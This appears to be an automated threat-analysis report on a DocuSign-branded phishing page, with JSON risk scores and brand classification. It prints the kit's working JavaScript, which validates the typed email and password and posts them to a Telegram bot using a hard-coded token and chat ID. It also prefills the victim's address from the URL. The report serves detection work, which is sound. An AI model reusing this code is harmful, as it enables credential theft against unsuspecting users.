Windows Analysis Report
http://pub-3b43df3d08c6428eb75adaf661b4216f.r2.dev/docu/e_protocol.html

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: http://pub-3b43df3d08c6428eb75adaf661b4216f.r2.dev

{
    "risk_score": 9,
    "reasoning": "This script demonstrates high-risk behaviors, including data exfiltration and dynamic code execution. It collects user credentials (email and password) and sends them to a Telegram bot, which is a suspicious and potentially malicious activity. The script also manipulates the DOM aggressively, hiding and showing different elements. Overall, the script exhibits clear signs of malicious intent and should be considered a high-risk security threat."
}

 function sendEmail() {
	var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
	if (!filter.test(document.getElementById('username').value)) {
			alert('Invalid Email');
            return false;
    }
    if (document.getElementById('password').value === '') {
        alert('Please enter a valid password!');
        return false;
    }
	var x = document.getElementById("Div4");
	 var a = document.getElementById("Div1");
	 var b = document.getElementById("Div2");
     a.style.display = "none";
     b.style.display = "block";
     x.style.display = "none";
    var username = document.getElementById('username').value;
	var password = document.getElementById('password').value;
	var ozi = "\n=========DocuSignBOY======\n"
        ozi+="Email      :"+username
        ozi+="\nPass     :" +password
        ozi+="\n============================\n"
    tmsend(ozi)
}
	
function tmsend(message){
    var token = "7638787397:AAHDnJvZeCZ4khXA5j6sxI8DFak8uvIjtFo";
    var chat_id= "6247174206";
    const url = `https://api.telegram.org/bot${token}/sendMessage` // The url to request

    const obj = {
        chat_id: chat_id, // Telegram chat id
        text: message // The text to send
    };

    const xht = new XMLHttpRequest();
    xht.open("POST", url, true);
    xht.setRequestHeader("Content-type", "application/json; charset=UTF-8");
    xht.send(JSON.stringify(obj));
	setTimeout(function() {
	document.getElementById('password').value = "";
		var x = document.getElementById("Div4");
		x.style.display = "block";
	}, 2000);
	setTimeout(function() {
	 var a = document.getElementById("Div1");
	 var b = document.getElementById("Div2");
	 var x = document.getElementById("Div4");
     a.style.display = "block";
     b.style.display = "none";
	 x.style.display = "none";
	}, 5000);
}

{
    "risk_score": 5,
    "reasoning": "The script appears to be extracting an email address from the URL hash and using it to populate form fields and display it on the page. This behavior is not inherently malicious, but the use of the email address in this way could potentially be part of a phishing or social engineering attack. Additionally, the commented-out code suggests the potential for fetching a logo from a third-party domain, which could be used for further data exfiltration or redirection. Overall, the script exhibits moderate-risk indicators that warrant further review and investigation."
}

	function Z() { 
		var email = window.location.hash.substr(1); 
		//Change window.location.hash.substr(1) to "XXXEMAIL" if you are using attachment.
		// Example 
		// var email = "XXXEMAIL";
		var ind=email.indexOf("@");
        var my_slice=email.substr((ind+1));
		var my_slice2=email.substr(ind+1,email.length);
		document.getElementById('username').value = email;
		document.getElementById('logoname').innerHTML = email;
		/*
		$('#login_logo1').attr('src', 'https://logo.clearbit.com/' + my_slice);
		*/
	}

{
  "contains_trigger_text": true,
  "trigger_text": "Log in to access document",
  "prominent_button_name": "Authorize",
  "text_input_field_labels": [
    "Password"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "DocuSign"
  ]
}

```json{  "legit_domain": "docusign.com",  "classification": "wellknown",  "reasons": [    "The brand 'DocuSign' is a well-known electronic signature service.",    "The legitimate domain for DocuSign is 'docusign.com'.",    "The provided URL 'pub-3b43df3d08c6428eb75adaf661b4216f.r2.dev' does not match the legitimate domain.",    "The URL uses a subdomain structure that is not associated with DocuSign.",    "The domain 'r2.dev' is not related to DocuSign and could be a generic hosting or cloud service.",    "Presence of a password input field on a non-legitimate domain is suspicious."  ],  "riskscore": 9}
Google indexed: False